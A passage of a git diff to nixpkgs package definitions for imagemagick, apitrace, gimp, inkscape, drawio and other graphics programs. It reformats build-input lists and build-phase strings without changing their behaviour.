+    (lib.withFeatureAs ghostscriptSupport "gs-font-dir" "${ghostscript.fonts}/share/fonts")
+    (lib.withFeature ghostscriptSupport "gslib")
+    (lib.withFeature fftwSupport "fftw")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMinGW [
+    # due to libxml2 being without DLLs ATM
+    "--enable-static"
+    "--disable-shared"
+  ];
 
   nativeBuildInputs = [
     pkg-config
     libtool
   ];
 
-  buildInputs =
-    [ potrace ]
-    ++ lib.optional zlibSupport zlib
-    ++ lib.optional fontconfigSupport fontconfig
-    ++ lib.optional ghostscriptSupport ghostscript
-    ++ lib.optional liblqr1Support liblqr1
-    ++ lib.optional libpngSupport libpng
-    ++ lib.optional libraqmSupport libraqm
-    ++ lib.optional librawSupport libraw
-    ++ lib.optional libtiffSupport libtiff
-    ++ lib.optional libxml2Support libxml2
-    ++ lib.optional libheifSupport libheif
-    ++ lib.optional djvulibreSupport djvulibre
-    ++ lib.optional libjxlSupport libjxl
-    ++ lib.optional openexrSupport openexr
-    ++ lib.optionals librsvgSupport [
-      librsvg
-      pango
-    ]
-    ++ lib.optional openjpegSupport openjpeg;
+  buildInputs = [
+    potrace
+  ]
+  ++ lib.optional zlibSupport zlib
+  ++ lib.optional fontconfigSupport fontconfig
+  ++ lib.optional ghostscriptSupport ghostscript
+  ++ lib.optional liblqr1Support liblqr1
+  ++ lib.optional libpngSupport libpng
+  ++ lib.optional libraqmSupport libraqm
+  ++ lib.optional librawSupport libraw
+  ++ lib.optional libtiffSupport libtiff
+  ++ lib.optional libxml2Support libxml2
+  ++ lib.optional libheifSupport libheif
+  ++ lib.optional djvulibreSupport djvulibre
+  ++ lib.optional libjxlSupport libjxl
+  ++ lib.optional openexrSupport openexr
+  ++ lib.optionals librsvgSupport [
+    librsvg
+    pango
+  ]
+  ++ lib.optional openjpegSupport openjpeg;
 
-  propagatedBuildInputs =
-    [ curl ]
-    ++ lib.optional bzip2Support bzip2
-    ++ lib.optional freetypeSupport freetype
-    ++ lib.optional libjpegSupport libjpeg
-    ++ lib.optional lcms2Support lcms2
-    ++ lib.optional libX11Support libX11
-    ++ lib.optional libXtSupport libXt
-    ++ lib.optional libwebpSupport libwebp
-    ++ lib.optional fftwSupport fftw;
+  propagatedBuildInputs = [
+    curl
+  ]
+  ++ lib.optional bzip2Support bzip2
+  ++ lib.optional freetypeSupport freetype
+  ++ lib.optional libjpegSupport libjpeg
+  ++ lib.optional lcms2Support lcms2
+  ++ lib.optional libX11Support libX11
+  ++ lib.optional libXtSupport libXt
+  ++ lib.optional libwebpSupport libwebp
+  ++ lib.optional fftwSupport fftw;
 
-  postInstall =
-    ''
-      (cd "$dev/include" && ln -s ImageMagick* ImageMagick)
-      # Q16HDRI = 16 bit quantum depth with HDRI support, and is the default ImageMagick configuration
-      # If the default is changed, or the derivation is modified to use a different configuration
-      # this will need to be changed below.
-      moveToOutput "bin/*-config" "$dev"
-      moveToOutput "lib/ImageMagick-*/config-Q16HDRI" "$dev" # includes configure params
-      configDestination=($out/share/ImageMagick-*)
-      grep -v '/nix/store' $dev/lib/ImageMagick-*/config-Q16HDRI/configure.xml > $configDestination/configure.xml
-      for file in "$dev"/bin/*-config; do
-        substituteInPlace "$file" --replace pkg-config \
-          "PKG_CONFIG_PATH='$dev/lib/pkgconfig' '$(command -v $PKG_CONFIG)'"
-      done
-    ''
-    + lib.optionalString ghostscriptSupport ''
-      for la in $out/lib/*.la; do
-        sed 's|-lgs|-L${lib.getLib ghostscript}/lib -lgs|' -i $la
-      done
-    '';
+  postInstall = ''
+    (cd "$dev/include" && ln -s ImageMagick* ImageMagick)
+    # Q16HDRI = 16 bit quantum depth with HDRI support, and is the default ImageMagick configuration
+    # If the default is changed, or the derivation is modified to use a different configuration
+    # this will need to be changed below.
+    moveToOutput "bin/*-config" "$dev"
+    moveToOutput "lib/ImageMagick-*/config-Q16HDRI" "$dev" # includes configure params
+    configDestination=($out/share/ImageMagick-*)
+    grep -v '/nix/store' $dev/lib/ImageMagick-*/config-Q16HDRI/configure.xml > $configDestination/configure.xml
+    for file in "$dev"/bin/*-config; do
+      substituteInPlace "$file" --replace pkg-config \
+        "PKG_CONFIG_PATH='$dev/lib/pkgconfig' '$(command -v $PKG_CONFIG)'"
+    done
+  ''
+  + lib.optionalString ghostscriptSupport ''
+    for la in $out/lib/*.la; do
+      sed 's|-lgs|-L${lib.getLib ghostscript}/lib -lgs|' -i $la
+    done
+  '';
 
   passthru.tests = {
     version = testers.testVersion { package = finalAttrs.finalPackage; };
diff --git a/pkgs/applications/graphics/apitrace/default.nix b/pkgs/applications/graphics/apitrace/default.nix
index 6db2925644d5..1b840246e6d5 100644
--- a/pkgs/applications/graphics/apitrace/default.nix
+++ b/pkgs/applications/graphics/apitrace/default.nix
@@ -30,27 +30,25 @@ stdenv.mkDerivation rec {
 
   # LD_PRELOAD wrappers need to be statically linked to work against all kinds
   # of games -- so it's fine to use e.g. bundled snappy.
-  buildInputs =
-    [
-      libX11
-      procps
-      libdwarf
-      gtest
-      brotli
-    ]
-    ++ lib.optionals enableGui [
-      qtbase
-    ];
+  buildInputs = [
+    libX11
+    procps
+    libdwarf
+    gtest
+    brotli
+  ]
+  ++ lib.optionals enableGui [
+    qtbase
+  ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals enableGui [
-      wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals enableGui [
+    wrapQtAppsHook
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "ENABLE_GUI" enableGui)
@@ -60,45 +58,44 @@ stdenv.mkDerivation rec {
   # `qapitrace`.
   dontWrapQtApps = true;
 
-  postFixup =
-    ''
+  postFixup = ''
 
-      # Since https://github.com/NixOS/nixpkgs/pull/60985, we add `/run-opengl-driver[-32]`
-      # to the `RUNPATH` of dispatcher libraries `dlopen()` ing OpenGL drivers.
-      # `RUNPATH` doesn't propagate throughout the whole application, but only
-      # from the module performing the `dlopen()`.
-      #
-      # Apitrace wraps programs by running them with `LD_PRELOAD` pointing to `.so`
-      # files in $out/lib/apitrace/wrappers.
-      #
-      # Theses wrappers effectively wrap the `dlopen()` calls from `libglvnd`
-      # and other dispatcher libraries, and run `dlopen()`  by themselves.
-      #
-      # As `RUNPATH` doesn't propagate through the whole library, and they're now the
-      # library doing the real `dlopen()`, they also need to have
-      # `/run-opengl-driver[-32]` added to their `RUNPATH`.
-      #
-      # To stay simple, we add paths for 32 and 64 bits unconditionally.
-      # This doesn't have an impact on closure size, and if the 32 bit drivers
-      # are not available, that folder is ignored.
-      for i in $out/lib/apitrace/wrappers/*.so
-      do
-        echo "Patching OpenGL driver path for $i"
-        patchelf --set-rpath "/run/opengl-driver/lib:/run/opengl-driver-32/lib:$(patchelf --print-rpath $i)" $i
-      done
+    # Since https://github.com/NixOS/nixpkgs/pull/60985, we add `/run-opengl-driver[-32]`
+    # to the `RUNPATH` of dispatcher libraries `dlopen()` ing OpenGL drivers.
+    # `RUNPATH` doesn't propagate throughout the whole application, but only
+    # from the module performing the `dlopen()`.
+    #
+    # Apitrace wraps programs by running them with `LD_PRELOAD` pointing to `.so`
+    # files in $out/lib/apitrace/wrappers.
+    #
+    # Theses wrappers effectively wrap the `dlopen()` calls from `libglvnd`
+    # and other dispatcher libraries, and run `dlopen()`  by themselves.
+    #
+    # As `RUNPATH` doesn't propagate through the whole library, and they're now the
+    # library doing the real `dlopen()`, they also need to have
+    # `/run-opengl-driver[-32]` added to their `RUNPATH`.
+    #
+    # To stay simple, we add paths for 32 and 64 bits unconditionally.
+    # This doesn't have an impact on closure size, and if the 32 bit drivers
+    # are not available, that folder is ignored.
+    for i in $out/lib/apitrace/wrappers/*.so
+    do
+      echo "Patching OpenGL driver path for $i"
+      patchelf --set-rpath "/run/opengl-driver/lib:/run/opengl-driver-32/lib:$(patchelf --print-rpath $i)" $i
+    done
 
-      # Theses open the OpenGL driver at runtime, but it is not listed as NEEDED libraries. They need
-      # a reference to libglvnd.
-      for i in $out/bin/eglretrace $out/bin/glretrace
-      do
-        echo "Patching RPath for $i"
-        patchelf --set-rpath "${lib.makeLibraryPath [ libglvnd ]}:$(patchelf --print-rpath $i)" $i
-      done
+    # Theses open the OpenGL driver at runtime, but it is not listed as NEEDED libraries. They need
+    # a reference to libglvnd.
+    for i in $out/bin/eglretrace $out/bin/glretrace
+    do
+      echo "Patching RPath for $i"
+      patchelf --set-rpath "${lib.makeLibraryPath [ libglvnd ]}:$(patchelf --print-rpath $i)" $i
+    done
 
-    ''
-    + lib.optionalString enableGui ''
-      wrapQtApp $out/bin/qapitrace
-    '';
+  ''
+  + lib.optionalString enableGui ''
+    wrapQtApp $out/bin/qapitrace
+  '';
 
   meta = with lib; {
     homepage = "https://apitrace.github.io";
diff --git a/pkgs/applications/graphics/djview/default.nix b/pkgs/applications/graphics/djview/default.nix
index bf8ccce9fe00..e5c2f2a79fe8 100644
--- a/pkgs/applications/graphics/djview/default.nix
+++ b/pkgs/applications/graphics/djview/default.nix
@@ -52,7 +52,8 @@ stdenv.mkDerivation rec {
     "--with-x"
     "--with-tiff"
     "--disable-nsdejavu" # 2023-11-14: modern browsers have dropped support for NPAPI
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "--enable-mac";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--enable-mac";
 
   meta = with lib; {
     broken = stdenv.hostPlatform.isDarwin;
diff --git a/pkgs/applications/graphics/drawio/default.nix b/pkgs/applications/graphics/drawio/default.nix
index 5f697cf7ca62..701d878f04af 100644
--- a/pkgs/applications/graphics/drawio/default.nix
+++ b/pkgs/applications/graphics/drawio/default.nix
@@ -35,19 +35,18 @@ stdenv.mkDerivation rec {
     hash = "sha256-kmA0z/vmWH+yD2OQ6VVSE0yPxInTAGjjG+QfcoZHlQ0=";
   };
 
-  nativeBuildInputs =
-    [
-      fixup-yarn-lock
-      makeWrapper
-      nodejs
-      yarn
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      copyDesktopItems
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    fixup-yarn-lock
+    makeWrapper
+    nodejs
+    yarn
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    copyDesktopItems
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    autoSignDarwinBinariesHook
+  ];
 
   ELECTRON_SKIP_BINARY_DOWNLOAD = true;
 
@@ -66,53 +65,51 @@ stdenv.mkDerivation rec {
     runHook postConfigure
   '';
 
-  buildPhase =
-    ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      cp -R ${electron.dist}/Electron.app Electron.app
-      chmod -R u+w Electron.app
-      export CSC_IDENTITY_AUTO_DISCOVERY=false
-      sed -i "/afterSign/d" electron-builder-linux-mac.json
-    ''
-    + ''
-      yarn --offline run electron-builder --dir \
-        ${lib.optionalString stdenv.hostPlatform.isDarwin "--config electron-builder-linux-mac.json"} \
-        -c.electronDist=${if stdenv.hostPlatform.isDarwin then "." else electron.dist} \
-        -c.electronVersion=${electron.version}
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    cp -R ${electron.dist}/Electron.app Electron.app
+    chmod -R u+w Electron.app
+    export CSC_IDENTITY_AUTO_DISCOVERY=false
+    sed -i "/afterSign/d" electron-builder-linux-mac.json
+  ''
+  + ''
+    yarn --offline run electron-builder --dir \
+      ${lib.optionalString stdenv.hostPlatform.isDarwin "--config electron-builder-linux-mac.json"} \
+      -c.electronDist=${if stdenv.hostPlatform.isDarwin then "." else electron.dist} \
+      -c.electronVersion=${electron.version}
 
-      runHook postBuild
-    '';
+    runHook postBuild
+  '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/{Applications,bin}
-      mv dist/mac*/draw.io.app $out/Applications
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/{Applications,bin}
+    mv dist/mac*/draw.io.app $out/Applications
 
-      # Symlinking `draw.io` doesn't work; seems to look for files in the wrong place.
-      makeWrapper $out/Applications/draw.io.app/Contents/MacOS/draw.io $out/bin/drawio
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      mkdir -p "$out/share/lib/drawio"
-      cp -r dist/*-unpacked/{locales,resources{,.pak}} "$out/share/lib/drawio"
+    # Symlinking `draw.io` doesn't work; seems to look for files in the wrong place.
+    makeWrapper $out/Applications/draw.io.app/Contents/MacOS/draw.io $out/bin/drawio
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    mkdir -p "$out/share/lib/drawio"
+    cp -r dist/*-unpacked/{locales,resources{,.pak}} "$out/share/lib/drawio"
 
-      install -Dm644 build/icon.svg "$out/share/icons/hicolor/scalable/apps/drawio.svg"
+    install -Dm644 build/icon.svg "$out/share/icons/hicolor/scalable/apps/drawio.svg"
 
-      makeWrapper '${electron}/bin/electron' "$out/bin/drawio" \
-        --add-flags "$out/share/lib/drawio/resources/app.asar" \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
-        --inherit-argv0
-    ''
-    + ''
+    makeWrapper '${electron}/bin/electron' "$out/bin/drawio" \
+      --add-flags "$out/share/lib/drawio/resources/app.asar" \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+      --inherit-argv0
+  ''
+  + ''
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/applications/graphics/drawpile/default.nix b/pkgs/applications/graphics/drawpile/default.nix
index 14674d048d71..5863b9f75087 100644
--- a/pkgs/applications/graphics/drawpile/default.nix
+++ b/pkgs/applications/graphics/drawpile/default.nix
@@ -58,7 +58,8 @@ let
     # optional:
     libmicrohttpd # HTTP admin api
     libsodium # ext-auth support
-  ] ++ lib.optional withSystemd systemd;
+  ]
+  ++ lib.optional withSystemd systemd;
 
 in
 stdenv.mkDerivation rec {
@@ -90,13 +91,12 @@ stdenv.mkDerivation rec {
     )
   ];
 
-  buildInputs =
-    [
-      libzip
-      qt6Packages.qtwebsockets
-    ]
-    ++ lib.optionals buildClient clientDeps
-    ++ lib.optionals buildServer serverDeps;
+  buildInputs = [
+    libzip
+    qt6Packages.qtwebsockets
+  ]
+  ++ lib.optionals buildClient clientDeps
+  ++ lib.optionals buildServer serverDeps;
 
   cmakeFlags = [
     (lib.cmakeFeature "INITSYS" (lib.optionalString withSystemd "systemd"))
@@ -106,20 +106,19 @@ stdenv.mkDerivation rec {
     (lib.cmakeBool "TOOLS" buildExtraTools)
   ];
 
-  meta =
-    {
-      description = "Collaborative drawing program that allows multiple users to sketch on the same canvas simultaneously";
-      homepage = "https://drawpile.net/";
-      downloadPage = "https://drawpile.net/download/";
-      license = lib.licenses.gpl3Plus;
-      maintainers = with lib.maintainers; [ fgaz ];
-      platforms = lib.platforms.unix;
-      broken = stdenv.hostPlatform.isDarwin;
-    }
-    // lib.optionalAttrs buildServer {
-      mainProgram = "drawpile-srv";
-    }
-    // lib.optionalAttrs buildClient {
-      mainProgram = "drawpile";
-    };
+  meta = {
+    description = "Collaborative drawing program that allows multiple users to sketch on the same canvas simultaneously";
+    homepage = "https://drawpile.net/";
+    downloadPage = "https://drawpile.net/download/";
+    license = lib.licenses.gpl3Plus;
+    maintainers = with lib.maintainers; [ fgaz ];
+    platforms = lib.platforms.unix;
+    broken = stdenv.hostPlatform.isDarwin;
+  }
+  // lib.optionalAttrs buildServer {
+    mainProgram = "drawpile-srv";
+  }
+  // lib.optionalAttrs buildClient {
+    mainProgram = "drawpile";
+  };
 }
diff --git a/pkgs/applications/graphics/feh/default.nix b/pkgs/applications/graphics/feh/default.nix
index fcc62660dc0f..3dc640a67e01 100644
--- a/pkgs/applications/graphics/feh/default.nix
+++ b/pkgs/applications/graphics/feh/default.nix
@@ -44,13 +44,12 @@ stdenv.mkDerivation (finalAttrs: {
     libexif
   ];
 
-  makeFlags =
-    [
-      "PREFIX=${placeholder "out"}"
-      "exif=1"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "verscmp=0"
-    ++ lib.optional enableAutoreload "inotify=1";
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+    "exif=1"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "verscmp=0"
+  ++ lib.optional enableAutoreload "inotify=1";
 
   installTargets = [ "install" ];
   postInstall = ''
diff --git a/pkgs/applications/graphics/gimp/2.0/default.nix b/pkgs/applications/graphics/gimp/2.0/default.nix
index d91dd67a1913..54f2e0e064e6 100644
--- a/pkgs/applications/graphics/gimp/2.0/default.nix
+++ b/pkgs/applications/graphics/gimp/2.0/default.nix
@@ -89,87 +89,84 @@ stdenv.mkDerivation (finalAttrs: {
     ./force-enable-libheif.patch
   ];
 
-  nativeBuildInputs =
-    [
-      autoreconfHook # hardcode-plugin-interpreters.patch changes Makefile.am
-      pkg-config
-      intltool
-      gettext
-      makeWrapper
-      gtk-doc
-      libxslt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    autoreconfHook # hardcode-plugin-interpreters.patch changes Makefile.am
+    pkg-config
+    intltool
+    gettext
+    makeWrapper
+    gtk-doc
+    libxslt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
-  buildInputs =
-    [
-      babl
-      gegl
-      gtk2
-      glib
-      gdk-pixbuf
-      pango
-      cairo
-      gexiv2
-      harfbuzz
-      isocodes
-      freetype
-      fontconfig
-      lcms
-      libpng
-      libjpeg
-      libjxl
-      poppler
-      poppler_data
-      libtiff
-      openexr
-      libmng
-      librsvg
-      libwmf
-      zlib
-      libzip
-      ghostscript
-      aalib
-      shared-mime-info
-      libwebp
-      libheif
-      libexif
-      xorg.libXpm
-      glib-networking
-      libmypaint
-      mypaint-brushes1
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gtk-mac-integration-gtk2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libgudev
-    ]
-    ++ lib.optionals withPython [
-      python
-      # Duplicated here because python.withPackages does not expose the dev output with pkg-config files
-      python2.pkgs.pygtk
-    ];
+  buildInputs = [
+    babl
+    gegl
+    gtk2
+    glib
+    gdk-pixbuf
+    pango
+    cairo
+    gexiv2
+    harfbuzz
+    isocodes
+    freetype
+    fontconfig
+    lcms
+    libpng
+    libjpeg
+    libjxl
+    poppler
+    poppler_data
+    libtiff
+    openexr
+    libmng
+    librsvg
+    libwmf
+    zlib
+    libzip
+    ghostscript
+    aalib
+    shared-mime-info
+    libwebp
+    libheif
+    libexif
+    xorg.libXpm
+    glib-networking
+    libmypaint
+    mypaint-brushes1
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gtk-mac-integration-gtk2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libgudev
+  ]
+  ++ lib.optionals withPython [
+    python
+    # Duplicated here because python.withPackages does not expose the dev output with pkg-config files
+    python2.pkgs.pygtk
+  ];
 
   # needed by gimp-2.0.pc
   propagatedBuildInputs = [
     gegl
   ];
 
-  configureFlags =
-    [
-      "--without-webkit" # old version is required
-      "--disable-check-update"
-      "--with-bug-report-url=https://github.com/NixOS/nixpkgs/issues/new"
-      "--with-icc-directory=/run/current-system/sw/share/color/icc"
-      # fix libdir in pc files (${exec_prefix} needs to be passed verbatim)
-      "--libdir=\${exec_prefix}/lib"
-    ]
-    ++ lib.optionals (!withPython) [
-      "--disable-python" # depends on Python2 which was EOLed on 2020-01-01
-    ];
+  configureFlags = [
+    "--without-webkit" # old version is required
+    "--disable-check-update"
+    "--with-bug-report-url=https://github.com/NixOS/nixpkgs/issues/new"
+    "--with-icc-directory=/run/current-system/sw/share/color/icc"
+    # fix libdir in pc files (${exec_prefix} needs to be passed verbatim)
+    "--libdir=\${exec_prefix}/lib"
+  ]
+  ++ lib.optionals (!withPython) [
+    "--disable-python" # depends on Python2 which was EOLed on 2020-01-01
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/applications/graphics/gimp/default.nix b/pkgs/applications/graphics/gimp/default.nix
index d943e0efccab..545797780d1b 100644
--- a/pkgs/applications/graphics/gimp/default.nix
+++ b/pkgs/applications/graphics/gimp/default.nix
@@ -112,98 +112,96 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gettext
-      wrapGAppsHook3
-      libxslt # for xsltproc
-      gobject-introspection
-      perl
-      vala
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gettext
+    wrapGAppsHook3
+    libxslt # for xsltproc
+    gobject-introspection
+    perl
+    vala
 
-      # for docs
-      gi-docgen
+    # for docs
+    gi-docgen
 
-      # for tests
-      desktop-file-utils
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      dbus
-      xvfb-run
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+    # for tests
+    desktop-file-utils
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    dbus
+    xvfb-run
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
-  buildInputs =
-    [
-      appstream-glib # for library
-      babl
-      cfitsio
-      gegl
-      gtk3
-      glib
-      gdk-pixbuf
-      pango
-      cairo
-      libarchive
-      gexiv2
-      harfbuzz
-      isocodes
-      freetype
-      fontconfig
-      lcms
-      libpng
-      libiff
-      libilbm
-      libjpeg
-      libjxl
-      poppler
-      poppler_data
-      libtiff
-      openexr
-      libmng
-      librsvg
-      libwmf
-      zlib
-      libzip
-      ghostscript
-      aalib
-      shared-mime-info
-      json-glib
-      libwebp
-      libheif
-      python
-      libexif
-      xorg.libXpm
-      xorg.libXmu
-      glib-networking
-      libmypaint
-      mypaint-brushes1
+  buildInputs = [
+    appstream-glib # for library
+    babl
+    cfitsio
+    gegl
+    gtk3
+    glib
+    gdk-pixbuf
+    pango
+    cairo
+    libarchive
+    gexiv2
+    harfbuzz
+    isocodes
+    freetype
+    fontconfig
+    lcms
+    libpng
+    libiff
+    libilbm
+    libjpeg
+    libjxl
+    poppler
+    poppler_data
+    libtiff
+    openexr
+    libmng
+    librsvg
+    libwmf
+    zlib
+    libzip
+    ghostscript
+    aalib
+    shared-mime-info
+    json-glib
+    libwebp
+    libheif
+    python
+    libexif
+    xorg.libXpm
+    xorg.libXmu
+    glib-networking
+    libmypaint
+    mypaint-brushes1
 
-      # New file dialogue crashes with “Icon 'image-missing' not present in theme Symbolic” without an icon theme.
-      adwaita-icon-theme
+    # New file dialogue crashes with “Icon 'image-missing' not present in theme Symbolic” without an icon theme.
+    adwaita-icon-theme
 
-      # for Lua plug-ins
-      (luajit.withPackages (pp: [
-        pp.lgi
-      ]))
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
+    # for Lua plug-ins
+    (luajit.withPackages (pp: [
+      pp.lgi
+    ]))
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
 
-      # for JavaScript plug-ins
-      gjs
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      llvmPackages.openmp
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libgudev
-    ];
+    # for JavaScript plug-ins
+    gjs
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    llvmPackages.openmp
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libgudev
+  ];
 
   propagatedBuildInputs = [
     # needed by gimp-3.0.pc
@@ -213,21 +211,20 @@ stdenv.mkDerivation (finalAttrs: {
     gexiv2
   ];
 
-  mesonFlags =
-    [
-      "-Dbug-report-url=https://github.com/NixOS/nixpkgs/issues/new"
-      "-Dicc-directory=/run/current-system/sw/share/color/icc"
-      "-Dcheck-update=no"
-      (lib.mesonEnable "gudev" stdenv.hostPlatform.isLinux)
-      (lib.mesonEnable "headless-tests" stdenv.hostPlatform.isLinux)
-      (lib.mesonEnable "linux-input" stdenv.hostPlatform.isLinux)
-      # Not very important to do downstream, save a dependency.
-      "-Dappdata-test=disabled"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-Dalsa=disabled"
-      "-Djavascript=disabled"
-    ];
+  mesonFlags = [
+    "-Dbug-report-url=https://github.com/NixOS/nixpkgs/issues/new"
+    "-Dicc-directory=/run/current-system/sw/share/color/icc"
+    "-Dcheck-update=no"
+    (lib.mesonEnable "gudev" stdenv.hostPlatform.isLinux)
+    (lib.mesonEnable "headless-tests" stdenv.hostPlatform.isLinux)
+    (lib.mesonEnable "linux-input" stdenv.hostPlatform.isLinux)
+    # Not very important to do downstream, save a dependency.
+    "-Dappdata-test=disabled"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-Dalsa=disabled"
+    "-Djavascript=disabled"
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/applications/graphics/gimp/plugins/default.nix b/pkgs/applications/graphics/gimp/plugins/default.nix
index 9c86343599b1..80944bfe21f8 100644
--- a/pkgs/applications/graphics/gimp/plugins/default.nix
+++ b/pkgs/applications/graphics/gimp/plugins/default.nix
@@ -63,12 +63,14 @@ lib.makeScope pkgs.newScope (
             gimp
             gimp.gtk
             glib
-          ] ++ (attrs.buildInputs or [ ]);
+          ]
+          ++ (attrs.buildInputs or [ ]);
 
           nativeBuildInputs = [
             pkg-config
             intltool
-          ] ++ (attrs.nativeBuildInputs or [ ]);
+          ]
+          ++ (attrs.nativeBuildInputs or [ ]);
 
           # Override installation paths.
           env = {
@@ -76,7 +78,8 @@ lib.makeScope pkgs.newScope (
               "${placeholder "out"}/${gimp.targetLibDir}";
             "PKG_CONFIG_GIMP_${pkgConfigMajorVersion}_0_GIMPDATADIR" =
               "${placeholder "out"}/${gimp.targetDataDir}";
-          } // attrs.env or { };
+          }
+          // attrs.env or { };
         }
       );
 
diff --git a/pkgs/applications/graphics/inkscape/default.nix b/pkgs/applications/graphics/inkscape/default.nix
index 2f71bf8d3506..8af3ee43bd5a 100644
--- a/pkgs/applications/graphics/inkscape/default.nix
+++ b/pkgs/applications/graphics/inkscape/default.nix
@@ -116,63 +116,61 @@ stdenv.mkDerivation (finalAttrs: {
     shopt -u globstar
   '';
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-      ninja
-      python3Env
-      glib # for setup hook
-      gdk-pixbuf # for setup hook
-      wrapGAppsHook3
-      gobject-introspection
-    ]
-    ++ (with perlPackages; [
-      perl
-      XMLParser
-    ])
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    ninja
+    python3Env
+    glib # for setup hook
+    gdk-pixbuf # for setup hook
+    wrapGAppsHook3
+    gobject-introspection
+  ]
+  ++ (with perlPackages; [
+    perl
+    XMLParser
+  ])
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
-  buildInputs =
-    [
-      boehmgc
-      boost
-      gettext
-      glib
-      glibmm
-      gsl
-      gtkmm3
-      imagemagick
-      lcms
-      lib2geom
-      libcdr
-      libexif
-      libpng
-      librevenge
-      librsvg # for loading icons
-      libsigcxx
-      libvisio
-      libwpg
-      libXft
-      libxml2
-      libxslt
-      perlPackages.perl
-      poppler
-      popt
-      potrace
-      python3Env
-      zlib
-      libepoxy
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      gspell
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cairo
-      gtk-mac-integration
-    ];
+  buildInputs = [
+    boehmgc
+    boost
+    gettext
+    glib
+    glibmm
+    gsl
+    gtkmm3
+    imagemagick
+    lcms
+    lib2geom
+    libcdr
+    libexif
+    libpng
+    librevenge
+    librsvg # for loading icons
+    libsigcxx
+    libvisio
+    libwpg
+    libXft
+    libxml2
+    libxslt
+    perlPackages.perl
+    poppler
+    popt
+    potrace
+    python3Env
+    zlib
+    libepoxy
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    gspell
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cairo
+    gtk-mac-integration
+  ];
 
   # Make sure PyXML modules can be found at run-time.
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
diff --git a/pkgs/applications/graphics/ipe/default.nix b/pkgs/applications/graphics/ipe/default.nix
index 28797da745d5..f34826525fce 100644
--- a/pkgs/applications/graphics/ipe/default.nix
+++ b/pkgs/applications/graphics/ipe/default.nix
@@ -41,39 +41,37 @@ stdenv.mkDerivation rec {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      cairo
-      freetype
-      ghostscript
-      gsl
-      libjpeg
-      libpng
-      libspiro
-      lua5
-      qtbase
-      qtsvg
-      zlib
-    ]
-    ++ (lib.optionals withTeXLive [
-      texliveSmall
